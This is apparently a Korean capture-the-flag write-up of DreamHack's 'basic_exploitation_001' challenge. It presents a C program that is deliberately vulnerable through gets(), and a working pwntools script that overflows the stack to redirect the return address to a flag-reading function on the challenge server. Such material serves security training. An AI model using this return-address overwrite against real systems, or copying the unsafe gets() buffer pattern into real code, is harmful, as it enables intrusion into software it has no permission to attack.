본문 바로가기

DreamHack: System Hacking/F Stage 5

basic_exploitation_001

*풀이:

함수의 소스코드를 먼저 살표보자,

소스코드:

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
   
    gets(buf);

    return 0;
}

read_flag라는 flag를 읽어주는 함수가 존재한다는 걸 알 수 있다.

gdb를 통해 basic_exploitation_001에 들어가 'print read_flag'를 통해 read_flag의 주소를 찾아보면 다음과 같다
read_flag -> 0x80485b9



이를 이용해 메인 함수 스택프레임의 return address를 read_flag()의 주소값으로 지정해주면 손쉽게 flag를 읽을 수 있다.

 

그렇다면 pwngdb를 통해 메인 함수 스택프레임의 크기를 살펴보자

메인 함수 스택프레임의 크기가 0x80임을 알 수 있다. 그러므로 버퍼 오버플로우를 이용하여, 더미값을 0x80만큼 채우고 SFP(4byte)만큼을 다시 더미값으로 채운 후 RET에 read_flag 함수의 주소를 넣어주면 될 것이다.

 

이제 익스플로잇 코드를 짜보자

############ 익스플로잇 코드(exploit001.py) ############

from pwn import *
context.arch = 'i386'

ret_addr = '\xb9\x85\x04\x08'

p = remote('host3.dreamhack.games', 18501)
p.send('A'*0x80)
p.send('BBBB')
p.send(ret_addr)

p.interactive()

 

 

그리고 이 익스플로잇 코드를 실행시켜주면 read_flag함수가 실행돼 'cat /flag'이 실행됐음을 확인할 수 있다.